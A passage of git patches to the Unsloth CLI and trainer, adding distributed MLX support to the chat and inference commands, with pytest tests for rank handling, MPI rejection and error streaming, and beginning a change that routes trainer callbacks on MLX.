-    if model_config is None:
-        model_config = resolve_model_config(model, hf_token = hf_token)
+    with quiet_if_nonzero_mlx_rank():
+        is_mlx_distributed, rank, _world_size = mlx_distributed_info()
+        if model_config is None:
+            model_config = resolve_model_config(model, hf_token = hf_token)
 
-    typer.echo(f"Loading {model}", err = True)
+        if is_mlx_distributed and model_config.is_gguf:
+            if rank == 0:
+                typer.echo(
+                    "Distributed MLX inference does not support GGUF/llama.cpp models. "
+                    "Use a non-GGUF MLX model under mlx.launch, or run GGUF without "
+                    "mlx.launch.",
+                    err = True,
+                )
+            raise typer.Exit(code = 1)
 
-    if model_config.is_gguf:
-        return _load_gguf_backend(
-            model_config,
-            hf_token = hf_token,
-            max_seq_length = max_seq_length,
-            tensor_parallel = tensor_parallel,
-            llama_extra_args = llama_extra_args,
-        )
+        if rank == 0:
+            typer.echo(f"Loading {model}", err = True)
 
-    if fresh_backend:
-        ensure_studio_backend_path()
-        from core.inference import InferenceOrchestrator
-        backend = InferenceOrchestrator()
-    else:
-        ensure_studio_backend_path()
-        from core.inference import get_inference_backend
-        backend = get_inference_backend()
-    if not backend.load_model(
-        config = model_config,
-        max_seq_length = max_seq_length,
-        load_in_4bit = load_in_4bit,
-        hf_token = hf_token,
-    ):
-        typer.echo("Model load failed", err = True)
-        raise typer.Exit(code = 1)
+        if model_config.is_gguf:
+            return _load_gguf_backend(
+                model_config,
+                hf_token = hf_token,
+                max_seq_length = max_seq_length,
+                tensor_parallel = tensor_parallel,
+                llama_extra_args = llama_extra_args,
+            )
+
+        if fresh_backend:
+            ensure_studio_backend_path()
+            from core.inference import InferenceOrchestrator
+            backend = InferenceOrchestrator()
+        else:
+            ensure_studio_backend_path()
+            from core.inference import get_inference_backend
+            backend = get_inference_backend()
+        try:
+            loaded = backend.load_model(
+                config = model_config,
+                max_seq_length = max_seq_length,
+                load_in_4bit = load_in_4bit,
+                hf_token = hf_token,
+                tensor_parallel = tensor_parallel,
+                mlx_distributed = is_mlx_distributed,
+            )
+        except Exception as exc:
+            if not is_mlx_distributed:
+                raise
+            if rank == 0:
+                typer.echo(str(exc) or "Model load failed", err = True)
+            raise typer.Exit(code = 1)
+        if not loaded:
+            typer.echo("Model load failed", err = True)
+            raise typer.Exit(code = 1)
     return ChatBackend("unsloth", backend)
 
 
diff --git a/unsloth_cli/commands/chat.py b/unsloth_cli/commands/chat.py
index d3bfbbf96b..bc4a72f36c 100644
--- a/unsloth_cli/commands/chat.py
+++ b/unsloth_cli/commands/chat.py
@@ -1,6 +1,7 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import sys
 from typing import List, Optional
 
 import typer
@@ -12,6 +13,10 @@ from unsloth_cli._inference import (
     connect_studio_server,
     ensure_studio_backend_path,
     load_chat_backend,
+    mlx_distributed_info,
+    mlx_distributed_uses_mpi,
+    quiet_if_nonzero_mlx_rank,
+    raise_on_streamed_error,
     render_columns,
     resolve_model_config,
     stream_markdown,
@@ -107,6 +112,20 @@ def _compare_needs_second_model() -> bool:
         return False
 
 
+def _drain_available_stdin() -> None:
+    """Drain already-buffered launcher stdin on nonzero distributed ranks."""
+    try:
+        import os
+        from select import select
+
+        fd = sys.stdin.fileno()
+        while select([fd], [], [], 0)[0]:
+            if not os.read(fd, 8192):
+                break
+    except Exception:
+        return
+
+
 def _pick_trained_model(console) -> str:
     ensure_studio_backend_path()
     from utils.models import scan_trained_models
@@ -158,7 +177,8 @@ def chat(
         "--tensor-parallel/--no-tensor-parallel",
         help = (
             "Split a GGUF across GPUs by tensor (--split-mode tensor) instead "
-            "of by layer. Ignored for non-GGUF models."
+            "of by layer. Under non-MPI mlx.launch, select MLX tensor "
+            "parallel mode instead of pipeline mode."
         ),
     ),
     llama_extra_args: Optional[List[str]] = typer.Option(
@@ -195,15 +215,43 @@ def chat(
 
     console = Console()
     err = Console(stderr = True)
+    is_mlx_distributed, rank, _world_size = mlx_distributed_info()
+    should_print = rank == 0
+
+    if is_mlx_distributed and mlx_distributed_uses_mpi():
+        if should_print:
+            err.print(
+                "Distributed `unsloth chat` with MPI needs rank-0 prompt broadcast, "
+                "which is not enabled yet. Use a non-MPI MLX launcher backend "
+                "such as ring/JACCL for now.",
+                style = "red",
+                markup = False,
+            )
+        raise typer.Exit(code = 1)
 
     if model is None:
+        if is_mlx_distributed:
+            if should_print:
+                err.print(
+                    "Distributed `unsloth chat` requires an explicit model id or path.",
+                    style = "red",
+                    markup = False,
+                )
+            raise typer.Exit(code = 1)
         model = _pick_trained_model(console)
 
     # Resolve first so --compare can be rejected before the slow load.
-    model_config = resolve_model_config(model, hf_token = hf_token)
+    with quiet_if_nonzero_mlx_rank():
+        model_config = resolve_model_config(model, hf_token = hf_token)
     compare_blocked = _compare_blocked_reason(model_config)
+    if is_mlx_distributed:
+        compare_blocked = (
+            "distributed MLX chat does not support compare mode yet because it "
+            "would need a second distributed worker group on the same ranks"
+        )
     if compare and compare_blocked:
-        err.print(f"--compare unavailable: {compare_blocked}", style = "red", markup = False)
+        if should_print:
+            err.print(f"--compare unavailable: {compare_blocked}", style = "red", markup = False)
         raise typer.Exit(code = 1)
 
     load_opts = dict(
@@ -215,9 +263,11 @@ def chat(
     )
 
     # Prefer a running Studio server: instant starts, model shared with the UI.
-    chat_backend = None if no_server else connect_studio_server(model, **load_opts)
+    chat_backend = (
+        None if (no_server or is_mlx_distributed) else connect_studio_server(model, **load_opts)
+    )
     server_mode = chat_backend is not None
-    if server_mode:
+    if server_mode and should_print:
         console.print(
             "(Studio server connected — model stays warm after /exit)",
             style = "bright_black",
@@ -242,23 +292,26 @@ def chat(
             return True
         base_id = model_config.base_model
         if not base_id:
-            console.print(
-                "(compare unavailable: this adapter doesn't record its base model)",
-                style = "yellow",
-            )
+            if should_print:
+                console.print(
+                    "(compare unavailable: this adapter doesn't record its base model)",
+                    style = "yellow",
+                )
             return False
-        console.print(
-            f"(loading base model {base_id} for compare — keeps two models in memory)",
-            style = "bright_black",
-            markup = False,
-        )
+        if should_print:
+            console.print(
+                f"(loading base model {base_id} for compare — keeps two models in memory)",
+                style = "bright_black",
+                markup = False,
+            )
         try:
             # Use the same precision as the tuned model for fair comparison
             base_load_opts = dict(load_opts)  # Copy original options
             base_load_opts["load_in_4bit"] = _get_base_load_in_4bit(model_config)
             base_backend = load_chat_backend(base_id, fresh_backend = True, **base_load_opts)
         except Exception as exc:
-            err.print(f"(base model load failed: {exc})", style = "red", markup = False)
+            if should_print:
+                err.print(f"(base model load failed: {exc})", style = "red", markup = False)
             return False
         return True
 
@@ -267,7 +320,7 @@ def chat(
 
     def generate(backend = None, use_adapter = None):
         # Reads messages and show_thinking live, so /reset and /think apply.
-        return (backend or chat_backend).stream(
+        stream = (backend or chat_backend).stream(
             messages,
             system_prompt = system_prompt,
             temperature = temperature,
@@ -278,22 +331,48 @@ def chat(
             enable_thinking = show_thinking,
             use_adapter = use_adapter,
         )
+        return raise_on_streamed_error(stream) if is_mlx_distributed else stream
 
-    console.print()
-    console.print(f"Chatting with {name}", style = "bold green", markup = False)
-    console.print(_HELP, style = "bright_black")
+    if should_print:
+        console.print()
+        console.print(f"Chatting with {name}", style = "bold green", markup = False)
+        console.print(_HELP, style = "bright_black")
 
     # legacy_windows: pre-VT consoles print raw ANSI as ←[1;36m garbage.
-    you_prompt = _you_prompt(console.is_terminal and not console.legacy_windows)
+    you_prompt = (
+        _you_prompt(console.is_terminal and not console.legacy_windows) if should_print else ""
+    )
     assistant_label = "[bold magenta]Assistant:[/bold magenta]"
 
     try:
         while True:
-            try:
-                user = input(you_prompt).strip()
-            except (EOFError, KeyboardInterrupt):
-                console.print()
-                break
+            if should_print:
+                try:
+                    user = input(you_prompt).strip()
+                except (EOFError, KeyboardInterrupt):
+                    if should_print:
+                        console.print()
+                    user = "/exit"
+                turn = {"type": "turn", "text": user}
+            else:
+                turn = None
+
+            if is_mlx_distributed:
+                try:
+                    turn = chat_backend.share_distributed_object(turn, timeout = None)
+                    if not should_print:
+                        _drain_available_stdin()
+                except Exception as exc:
+                    if should_print:
+                        err.print(
+                            f"\n(error sharing chat turn: {exc})",
+                            style = "red",
+                            markup = False,
+                        )
+                    raise typer.Exit(code = 1)
+            if not turn:
+                continue
+            user = str(turn.get("text", "")).strip()
 
             if not user:
                 continue
@@ -301,55 +380,69 @@ def chat(
                 break
             if user == "/reset":
                 messages = []
-                console.print("(history cleared)", style = "bright_black")
+                if should_print:
+                    console.print("(history cleared)", style = "bright_black")
                 continue
             if user == "/think":
                 show_thinking = not show_thinking
-                state = "on" if show_thinking else "off"
-                console.print(f"(thinking {state})", style = "bright_black")
+                if should_print:
+                    state = "on" if show_thinking else "off"
+                    console.print(f"(thinking {state})", style = "bright_black")
                 continue
             if user == "/compare":
                 if compare_blocked:
-                    console.print(f"(compare unavailable: {compare_blocked})", style = "yellow")
+                    if should_print:
+                        console.print(f"(compare unavailable: {compare_blocked})", style = "yellow")
                     continue
                 if not compare_mode and dual_compare and not load_base_for_compare():
                     continue
                 compare_mode = not compare_mode
-                state = "on" if compare_mode else "off"
-                console.print(f"(compare {state})", style = "bright_black")
+                if should_print:
+                    state = "on" if compare_mode else "off"
+                    console.print(f"(compare {state})", style = "bright_black")
                 continue
             if user in ("/help", "/?"):
-                console.print(_HELP, style = "bright_black")
+                if should_print:
+                    console.print(_HELP, style = "bright_black")
                 continue
 
             messages.append({"role": "user", "content": user})
 
             try:
                 if compare_mode:
-                    console.print("(comparing base vs tuned…)", style = "bright_black")
+                    if should_print:
+                        console.print("(comparing base vs tuned…)", style = "bright_black")
                     if dual_compare:
                         base_text = collect_stream(generate(backend = base_backend), show_thinking)
                         tuned_text = collect_stream(generate(), show_thinking)
                     else:
                         base_text = collect_stream(generate(use_adapter = False), show_thinking)
                         tuned_text = collect_stream(generate(use_adapter = True), show_thinking)
-                    console.print()
-                    render_columns(
-                        "base", base_text, f"{name} (tuned)", tuned_text, console = console
-                    )
+                    if should_print:
+                        console.print()
+                        render_columns(
+                            "base", base_text, f"{name} (tuned)", tuned_text, console = console
+                        )
                     # History continues as the tuned model; base is just the reference.
                     answer = tuned_text
                 else:
-                    console.print(assistant_label)
-                    answer = stream_markdown(generate(), show_thinking, console = console)
+                    if should_print:
+                        console.print(assistant_label)
+                        answer = stream_markdown(generate(), show_thinking, console = console)
+                    else:
+                        answer = collect_stream(generate(), show_thinking)
             except KeyboardInterrupt:
                 # Ctrl-C aborts this answer only; drop the unanswered turn.
-                console.print("\n(interrupted)", style = "bright_black")
+                if should_print:
+                    console.print("\n(interrupted)", style = "bright_black")
                 messages.pop()
                 continue
             except Exception as exc:
-                err.print(f"\n(error: {exc})", style = "red", markup = False)
+                if should_print:
+                    err.print(f"\n(error: {exc})", style = "red", markup = False)
                 messages.pop()
+                if is_mlx_distributed:
+                    raise typer.Exit(code = 1)
                 continue
 
             messages.append(
@@ -359,4 +452,5 @@ def chat(
         chat_backend.close()
         if base_backend is not None:
             base_backend.close()
-        err.print("\nBye.", style = "bright_black")
+        if should_print:
+            err.print("\nBye.", style = "bright_black")
diff --git a/unsloth_cli/commands/inference.py b/unsloth_cli/commands/inference.py
index 1401fa9e9e..84a126163e 100644
--- a/unsloth_cli/commands/inference.py
+++ b/unsloth_cli/commands/inference.py
@@ -6,9 +6,13 @@ from typing import List, Optional
 import typer
 
 from unsloth_cli._inference import (
+    collect_stream,
     configure_quiet_logging,
     connect_studio_server,
     load_chat_backend,
+    mlx_distributed_info,
+    mlx_distributed_uses_mpi,
+    raise_on_streamed_error,
     stream_to_stdout,
 )
 
@@ -36,7 +40,8 @@ def inference(
         "--tensor-parallel/--no-tensor-parallel",
         help = (
             "Split a GGUF across GPUs by tensor (--split-mode tensor) instead "
-            "of by layer. Ignored for non-GGUF models."
+            "of by layer. Under non-MPI mlx.launch, select MLX tensor "
+            "parallel mode instead of pipeline mode."
         ),
     ),
     llama_extra_args: Optional[List[str]] = typer.Option(
@@ -69,8 +74,20 @@ def inference(
     if not verbose:
         configure_quiet_logging()
 
-    # A running Studio server keeps the model warm between runs, which is
-    # exactly what a one-shot command wants.
+    is_mlx_distributed, rank, _world_size = mlx_distributed_info()
+    if is_mlx_distributed and mlx_distributed_uses_mpi():
+        if rank == 0:
+            typer.echo(
+                "Distributed `unsloth inference` with MPI is not supported by "
+                "the current subprocess backend. Use a non-MPI MLX launcher "
+                "backend such as ring/JACCL for now.",
+                err = True,
+            )
+        raise typer.Exit(code = 1)
+
+    # A running Studio server keeps the model warm between runs. Under
+    # mlx.launch, every rank must enter the local MLX path instead of rank 0
+    # alone talking to a server.
     load_opts = dict(
         hf_token = hf_token,
         max_seq_length = max_seq_length,
@@ -78,7 +95,9 @@ def inference(
         tensor_parallel = tensor_parallel,
         llama_extra_args = llama_extra_args,
     )
-    chat_backend = None if no_server else connect_studio_server(model, **load_opts)
+    chat_backend = (
+        None if (no_server or is_mlx_distributed) else connect_studio_server(model, **load_opts)
+    )
     if chat_backend is None:
         chat_backend = load_chat_backend(model, **load_opts)
     try:
@@ -92,7 +111,23 @@ def inference(
             repetition_penalty = repetition_penalty,
             enable_thinking = think,
         )
-        typer.echo("Assistant:")
-        stream_to_stdout(stream, show_thinking = think)
+        if is_mlx_distributed:
+            stream = raise_on_streamed_error(stream)
+        if rank == 0:
+            typer.echo("Assistant:")
+            try:
+                stream_to_stdout(stream, show_thinking = think)
+            except RuntimeError as exc:
+                if not is_mlx_distributed:
+                    raise
+                typer.echo(f"Error: {exc}", err = True)
+                raise typer.Exit(code = 1)
+        else:
+            try:
+                collect_stream(stream, show_thinking = think)
+            except RuntimeError:
+                if not is_mlx_distributed:
+                    raise
+                raise typer.Exit(code = 1)
     finally:
         chat_backend.close()
diff --git a/unsloth_cli/tests/test_inference_chat.py b/unsloth_cli/tests/test_inference_chat.py
index 013b7c5a81..56633408fb 100644
--- a/unsloth_cli/tests/test_inference_chat.py
+++ b/unsloth_cli/tests/test_inference_chat.py
@@ -26,6 +26,8 @@ from unsloth_cli._inference import (
     ChatBackend,
     HttpChatBackend,
     collect_stream,
+    mlx_distributed_info,
+    mlx_distributed_uses_mpi,
     render_columns,
     visible_text,
 )
@@ -39,6 +41,16 @@ class _FakeConfig:
     path = None
 
 
+_EXPECTED_MPI_ENV_PAIRS = [
+    ("OMPI_COMM_WORLD_RANK", "OMPI_COMM_WORLD_SIZE"),
+    ("PMI_RANK", "PMI_SIZE"),
+    ("PMIX_RANK", "PMIX_SIZE"),
+    ("MPI_RANK", "MPI_WORLD_SIZE"),
+    ("MV2_COMM_WORLD_RANK", "MV2_COMM_WORLD_SIZE"),
+]
+_IGNORED_DISTRIBUTED_ENV_PAIRS = [("SLURM_PROCID", "SLURM_NTASKS")]
+
+
 def _chat_app():
     cli = typer.Typer()
     cli.command()(chatmod.chat)
@@ -53,6 +65,39 @@ def _inference_app():
     return cli
 
 
+def _clear_mlx_distributed_env(monkeypatch):
+    for name in (
+        "MLX_RANK",
+        "MLX_HOSTFILE",
+        "MLX_WORLD_SIZE",
+        "MLX_IBV_DEVICES",
+        "MLX_JACCL_COORDINATOR",
+        "NCCL_HOST_IP",
+        "NCCL_PORT",
+        *(rank for rank, _size in _EXPECTED_MPI_ENV_PAIRS + _IGNORED_DISTRIBUTED_ENV_PAIRS),
+        *(size for _rank, size in _EXPECTED_MPI_ENV_PAIRS + _IGNORED_DISTRIBUTED_ENV_PAIRS),
+    ):
+        monkeypatch.delenv(name, raising = False)
+
+
+def _set_mlx_nccl_env(
+    monkeypatch,
+    *,
+    rank: str = "0",
+    size: str = "2",
+):
+    monkeypatch.setenv("MLX_RANK", rank)
+    monkeypatch.setenv("MLX_WORLD_SIZE", size)
+    monkeypatch.setenv("NCCL_HOST_IP", "127.0.0.1")
+    monkeypatch.setenv("NCCL_PORT", "12345")
+
+
+@pytest.fixture(autouse = True)
+def _isolate_mlx_distributed_env(monkeypatch):
+    _clear_mlx_distributed_env(monkeypatch)
+    monkeypatch.delenv("HF_TOKEN", raising = False)
+
+
 def test_visible_text_passthrough_when_shown():
     text = "<think>reasoning</think>answer"
     assert visible_text(text, show_thinking = True) == text
@@ -101,6 +146,46 @@ def test_inference_exposes_gguf_runtime_options():
     assert "--llama-extra-arg" in (getattr(extra, "param_decls", None) or [])
 
 
+def test_mlx_distributed_info_reads_launch_env(monkeypatch, tmp_path):
+    _clear_mlx_distributed_env(monkeypatch)
+    assert mlx_distributed_info() == (False, 0, None)
+    assert mlx_distributed_uses_mpi() is False
+
+    monkeypatch.setenv("MLX_RANK", "1")
+    monkeypatch.setenv("MLX_WORLD_SIZE", "2")
+    assert mlx_distributed_info() == (False, 0, None)
+    monkeypatch.setenv("NCCL_HOST_IP", "127.0.0.1")
+    monkeypatch.setenv("NCCL_PORT", "12345")
+    assert mlx_distributed_info() == (True, 1, 2)
+    assert mlx_distributed_uses_mpi() is False
+
+    _clear_mlx_distributed_env(monkeypatch)
+    ring_hostfile = tmp_path / "ring.json"
+    ring_hostfile.write_text('[["127.0.0.1:5000"], ["127.0.0.1:5001"]]\n')
+    monkeypatch.setenv("MLX_RANK", "0")
+    monkeypatch.setenv("MLX_HOSTFILE", str(ring_hostfile))
+    assert mlx_distributed_info() == (True, 0, 2)
+    assert mlx_distributed_uses_mpi() is False
+
+    _clear_mlx_distributed_env(monkeypatch)
+    monkeypatch.setenv("MLX_RANK", "1")
+    monkeypatch.setenv("MLX_IBV_DEVICES", '[["node-a"], ["node-b"]]')
+    monkeypatch.setenv("MLX_JACCL_COORDINATOR", "node-a:12345")
+    assert mlx_distributed_info() == (True, 1, 2)
+    assert mlx_distributed_uses_mpi() is False
+
+    _clear_mlx_distributed_env(monkeypatch)
+    monkeypatch.setenv("OMPI_COMM_WORLD_RANK", "1")
+    monkeypatch.setenv("OMPI_COMM_WORLD_SIZE", "2")
+    assert mlx_distributed_info() == (True, 1, 2)
+    assert mlx_distributed_uses_mpi() is True
+
+    _clear_mlx_distributed_env(monkeypatch)
+    monkeypatch.setenv("MLX_RANK", "bad")
+    monkeypatch.setenv("MLX_WORLD_SIZE", "-3")
+    assert mlx_distributed_info() == (False, 0, None)
+
+
 def test_chat_command_is_registered_with_options():
     params = inspect.signature(chatmod.chat).parameters
     assert "model" in params
@@ -751,7 +836,6 @@ def test_chat_server_mode_compare_loads_base_locally(monkeypatch):
 
     assert result.exit_code == 0, result.output
     assert "(compare on)" in result.output
-    # Only the base model loaded locally, on its own private backend.
     assert base_loads == [("fake/base", True)]
     assert streamed == ["base", "tuned"]
     assert set(closed) == {"http", "base"}
@@ -785,6 +869,248 @@ def test_chat_compare_on_mlx_loads_base_model_side_by_side(monkeypatch):
 
     assert result.exit_code == 0, result.output
     assert loads == [("tuned-run", False), ("fake/base", True)]
-    # Both models answered the turn, via plain generation (no adapter toggle).
     assert ("base", None) in streamed and ("tuned", None) in streamed
     assert set(closed) == {"tuned", "base"}
+
+
+@pytest.mark.parametrize(
+    ("chunk_kind", "expected_exit"),
+    [
+        ("answer", 0),
+        ("model_text_error", 0),
+        ("real_error", 1),
+    ],
+)
+def test_inference_under_mlx_launch_handles_stream(monkeypatch, chunk_kind, expected_exit):
+    from unsloth_cli.commands import inference as infermod
+    from unsloth_cli._inference import ensure_studio_backend_path
+
+    ensure_studio_backend_path()
+    from core.inference.orchestrator import GenStreamError
+
+    if chunk_kind == "answer":
+        chunks = ["answer"]
+    elif chunk_kind == "model_text_error":
+        # Model output whose visible text starts with "Error:" must not abort.
+        chunks = ["Error: printed by the model, not a backend failure"]
+    else:
+        chunks = [GenStreamError("Error: generation failed")]
+
+    loads, closed = [], []
+
+    class _FakeBackend:
+        def stream(self, messages, **kwargs):
+            return iter(chunks)
+
+        def close(self):
+            closed.append(True)
+
+    _set_mlx_nccl_env(monkeypatch, rank = "0")
+    monkeypatch.setattr(
+        infermod,
+        "connect_studio_server",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("server disabled")),
+    )
+    monkeypatch.setattr(
+        infermod,
+        "load_chat_backend",
+        lambda model, **kwargs: (loads.append((model, kwargs)), _FakeBackend())[1],
+    )
+
+    result = CliRunner().invoke(
+        _inference_app(),
+        ["fake-model", "hello", "--tensor-parallel"],
+    )
+
+    assert result.exit_code == expected_exit, result.output
+    assert loads[0][1]["tensor_parallel"] is True
+    if chunk_kind == "real_error":
+        assert "generation failed" in result.output
+
+
+def test_chat_under_mlx_launch_nonzero_rank_drains_stdin(monkeypatch):
+    drains, closed = [], []
+    turns = iter(
+        [
+            {"type": "turn", "text": "hi"},
+            {"type": "turn", "text": "/exit"},
+        ]
+    )
+
+    class _FakeChatBackend:
+        def share_distributed_object(
+            self,
+            obj,
+            *,
+            timeout = 300.0,
+        ):
+            assert obj is None
+            return next(turns)
+
+        def stream(self, messages, **kwargs):
+            return iter(["hidden"])
+
+        def close(self):
+            closed.append(True)
+
+    _set_mlx_nccl_env(monkeypatch, rank = "1")
+    monkeypatch.setattr(chatmod, "resolve_model_config", lambda *a, **k: _FakeConfig())
+    monkeypatch.setattr(
+        chatmod,
+        "connect_studio_server",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("server disabled")),
+    )
+    monkeypatch.setattr(chatmod, "load_chat_backend", lambda *a, **k: _FakeChatBackend())
+    monkeypatch.setattr(chatmod, "_compare_needs_second_model", lambda: False)
+    monkeypatch.setattr(chatmod, "_drain_available_stdin", lambda: drains.append(True))
+
+    result = CliRunner().invoke(_chat_app(), ["fake-model"], input = "hi\n/exit\n")
+
+    assert result.exit_code == 0, result.output
+    assert "Chatting with" not in result.output
+    assert drains == [True, True]
+    assert closed == [True]
+
+
+def test_chat_under_mlx_launch_rank0_bypasses_studio_and_prints(monkeypatch):
+    loads, shares, closed = [], [], []
+
+    class _FakeChatBackend:
+        def share_distributed_object(
+            self,
+            obj,
+            *,
+            timeout = 300.0,
+        ):
+            shares.append((obj, timeout))
+            return obj
+
+        def stream(self, messages, **kwargs):
+            return iter(["hello"])
+
+        def close(self):
+            closed.append(True)
+
+    _set_mlx_nccl_env(monkeypatch, rank = "0")
+    monkeypatch.setattr(chatmod, "resolve_model_config", lambda *a, **k: _FakeConfig())
+    monkeypatch.setattr(
+        chatmod,
+        "connect_studio_server",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("server disabled")),
+    )
+    monkeypatch.setattr(
+        chatmod,
+        "load_chat_backend",
+        lambda model, **kwargs: (loads.append((model, kwargs)), _FakeChatBackend())[1],
+    )
+    monkeypatch.setattr(chatmod, "_compare_needs_second_model", lambda: False)
+
+    result = CliRunner().invoke(
+        _chat_app(),
+        ["fake-model", "--tensor-parallel"],
+        input = "hi\n/exit\n",
+    )
+
+    assert result.exit_code == 0, result.output
+    assert "Chatting with fake-model" in result.output
+    assert "hello" in result.output
+    assert loads and loads[0][0] == "fake-model"
+    assert loads[0][1]["tensor_parallel"] is True
+    assert shares == [
+        ({"type": "turn", "text": "hi"}, None),
+        ({"type": "turn", "text": "/exit"}, None),
+    ]
+
+
+@pytest.mark.parametrize(
+    ("stream_error", "expected_exit"),
+    [("exception", 1), ("chunk", 1), ("model_text", 0)],
+)
+def test_chat_under_mlx_launch_exits_on_generation_error(monkeypatch, stream_error, expected_exit):
+    from unsloth_cli._inference import ensure_studio_backend_path
+
+    ensure_studio_backend_path()
+    from core.inference.orchestrator import GenStreamError
+
+    closed = []
+
+    class _FakeChatBackend:
+        def share_distributed_object(
+            self,
+            obj,
+            *,
+            timeout = 300.0,
+        ):
+            return obj
+
+        def stream(self, messages, **kwargs):
+            if stream_error == "exception":
+                raise RuntimeError("generation failed")
+            if stream_error == "model_text":
+                # Plain model text starting with "Error:" must not abort the run.
+                return iter(["Error: printed by the model"])
+            return iter([GenStreamError("Error: generation failed")])
+
+        def close(self):
+            closed.append(True)
+
+    _set_mlx_nccl_env(monkeypatch, rank = "0")
+    monkeypatch.setattr(chatmod, "resolve_model_config", lambda *a, **k: _FakeConfig())
+    monkeypatch.setattr(
+        chatmod,
+        "connect_studio_server",
+        lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("server disabled")),
+    )
+    monkeypatch.setattr(chatmod, "load_chat_backend", lambda *a, **k: _FakeChatBackend())
+    monkeypatch.setattr(chatmod, "_compare_needs_second_model", lambda: False)
+
+    result = CliRunner().invoke(_chat_app(), ["fake-model"], input = "hi\n/exit\n")
+
+    assert result.exit_code == expected_exit
+    if expected_exit:
+        assert "generation failed" in result.output
+    assert closed == [True]
+
+
+def test_load_chat_backend_forwards_mlx_distributed_options(monkeypatch):
+    import unsloth_cli._inference as inference
+
+    calls = []
+
+    class _FakeBackend:
+        def load_model(self, **kwargs):
+            calls.append(kwargs)
+            return True
+
+    class _FakeModelConfig:
+        is_gguf = False
+
+        @classmethod
+        def from_identifier(cls, **_kwargs):
+            return cls()
+
+    fake_backend = _FakeBackend()
+    fake_inference = types.ModuleType("core.inference")
+    fake_inference.get_inference_backend = lambda: fake_backend
+    fake_utils = types.ModuleType("utils")
+    fake_utils.__path__ = []
+    fake_models = types.ModuleType("utils.models")
+    fake_models.ModelConfig = _FakeModelConfig
+
+    _set_mlx_nccl_env(monkeypatch, rank = "0")
+    monkeypatch.setitem(sys.modules, "core", types.ModuleType("core"))
+    monkeypatch.setitem(sys.modules, "core.inference", fake_inference)
+    monkeypatch.setitem(sys.modules, "utils", fake_utils)
+    monkeypatch.setitem(sys.modules, "utils.models", fake_models)
+    monkeypatch.setattr(inference, "ensure_studio_backend_path", lambda: None)
+
+    inference.load_chat_backend(
+        "fake-model",
+        hf_token = None,
+        max_seq_length = 2048,
+        load_in_4bit = True,
+        tensor_parallel = True,
+    )
+
+    assert calls[0]["tensor_parallel"] is True
+    assert calls[0]["mlx_distributed"] is True

From 934f879043b289bc6fd699ccfc13f0f363cd655d Mon Sep 17 00:00:00 2001
From: Long Yixing <longyixing331@gmail.com>
Date: Wed, 8 Jul 2026 18:25:50 +0800
Subject: [PATCH 256/306] feat(mlx): route trainer callbacks (#6929)

---
 tests/python/test_mlx_public_trainer_api.py | 58 +++++++++++++++++----
 unsloth/__init__.py                         | 50 ++++++++++++++++++
 2 files changed, 99 insertions(+), 9 deletions(-)

diff --git a/tests/python/test_mlx_public_trainer_api.py b/tests/python/test_mlx_public_trainer_api.py
index 2c33f86af1..89f304c76d 100644
--- a/tests/python/test_mlx_public_trainer_api.py
+++ b/tests/python/test_mlx_public_trainer_api.py
@@ -115,6 +115,9 @@ def test_mlx_training_arguments_accept_trl_style_kwargs():
 def test_mlx_training_arguments_do_not_warn_for_implemented_or_falsey_extras():
     """Implemented and falsey inert compatibility kwargs should stay quiet."""
     unsloth = _import_mlx_unsloth()
+    supported_eval_kwargs = {}
+    if "eval_strategy" in unsloth._MLX_TRAINING_CONFIG_FIELDS:
+        supported_eval_kwargs = {"eval_strategy": "no", "eval_delay": 1}
 
     with warnings.catch_warnings(record = True) as caught:
         warnings.simplefilter("always")
@@ -125,12 +128,16 @@ def test_mlx_training_arguments_do_not_warn_for_implemented_or_falsey_extras():
             remove_unused_columns = False,
             assistant_only_loss = False,
             completion_only_loss = False,
+            **supported_eval_kwargs,
         )
 
     assert args.warmup_steps == 2
     assert args.padding_free is False
     assert args.remove_unused_columns is False
     assert args.completion_only_loss is False
+    if supported_eval_kwargs:
+        assert args.eval_strategy == "no"
+        assert args.eval_delay == 1
     assert caught == []
 
 
@@ -705,17 +712,10 @@ def test_mlx_trainer_rejects_unsafe_unsupported_sft_kwargs():
         )
 
 
-def test_mlx_trainer_rejects_metrics_and_callbacks():
-    """Trainer hooks should fail because MLXTrainer cannot honor them yet."""
+def test_mlx_trainer_rejects_compute_metrics():
+    """compute_metrics is still unsupported by MLXTrainer."""
     unsloth = _import_mlx_unsloth()
 
-    with pytest.raises(NotImplementedError, match = "callbacks"):
-        unsloth.UnslothTrainer(
-            model = _DummyModel(),
-            tokenizer = None,
-            train_dataset = [],
-            callbacks = [object()],
-        )
     with pytest.raises(NotImplementedError, match = "compute_metrics"):
         unsloth.UnslothTrainer(
             model = _DummyModel(),
@@ -725,6 +725,46 @@ def test_mlx_trainer_rejects_metrics_and_callbacks():
         )
 
 
+def test_mlx_trainer_accepts_callbacks():
+    """Callbacks are routed to MLXTrainer when the zoo backend supports them."""
+    unsloth = _import_mlx_unsloth()
+    from transformers import TrainerCallback
+
+    if not unsloth._mlx_trainer_supports_kwarg("callbacks"):
+        pytest.skip("requires unsloth-zoo MLXTrainer callback support")
+
+    class Callback(TrainerCallback):
+        pass
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        callbacks = [Callback()],
+    )
+    assert any(isinstance(cb, Callback) for cb in trainer.callback_handler.callbacks)
+
+
+def test_mlx_trainer_rejects_callbacks_with_old_zoo(monkeypatch):
+    """Older unsloth-zoo builds should fail clearly instead of TypeError."""
+    unsloth = _import_mlx_unsloth()
+    from transformers import TrainerCallback
+
+    monkeypatch.setattr(
+        unsloth,
+        "_mlx_trainer_supports_kwarg",
+        lambda name: name != "callbacks",
+    )
+
+    with pytest.raises(NotImplementedError, match = "callbacks require"):
+        unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            callbacks = [TrainerCallback()],
+        )
+
+
 def test_mlx_trainer_rejects_custom_data_collator():
     """MLXTrainer owns batching; custom SFT data collators must not be ignored."""
     unsloth = _import_mlx_unsloth()
diff --git a/unsloth/__init__.py b/unsloth/__init__.py
index 04cc600725..de5cd0f61b 100644
--- a/unsloth/__init__.py
+++ b/unsloth/__init__.py
@@ -102,6 +102,7 @@ if _IS_MLX:
         ) from _e
 
